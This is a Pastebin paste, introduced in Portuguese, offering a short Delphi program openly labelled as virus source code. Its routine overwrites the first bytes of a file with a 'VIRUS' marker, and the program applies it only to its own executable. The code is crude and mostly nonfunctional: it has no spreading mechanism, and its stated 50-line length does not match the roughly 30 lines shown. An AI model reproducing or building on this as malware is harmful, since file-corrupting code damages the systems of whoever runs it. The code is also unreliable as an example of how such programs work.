Advertisement
Sketchware

Vírus em delphi

Feb 19th, 2023
1,071
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Aqui está um código fonte de vírus de 50 linhas em Delphi concatenado:
  2.  
  3. program Virus;
  4.   uses Windows;
  5.   function infect(filename: string): boolean;
  6.   var
  7.     buffer: array[0..511] of Byte;
  8.     n: Integer;
  9.     f: file;
  10.     s: string;
  11.   begin
  12.     Result := False;
  13.     if FileExists(filename) then
  14.     begin
  15.       AssignFile(f, filename);
  16.       Reset(f, 1);
  17.       BlockRead(f, buffer, SizeOf(buffer), n);
  18.       CloseFile(f);
  19.       s := PChar(@buffer);
  20.       if Pos('VIRUS', s) = 0 then
  21.       begin
  22.         s := 'VIRUS' + s;
  23.         Move(PChar(s)^, buffer, Length(s));
  24.         Rewrite(f, 1);
  25.         BlockWrite(f, buffer, n);
  26.         CloseFile(f);
  27.         Result := True;
  28.       end;
  29.     end;
  30.   end;
  31.  
  32. begin
  33.   infect(ParamStr(0));
  34. end.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement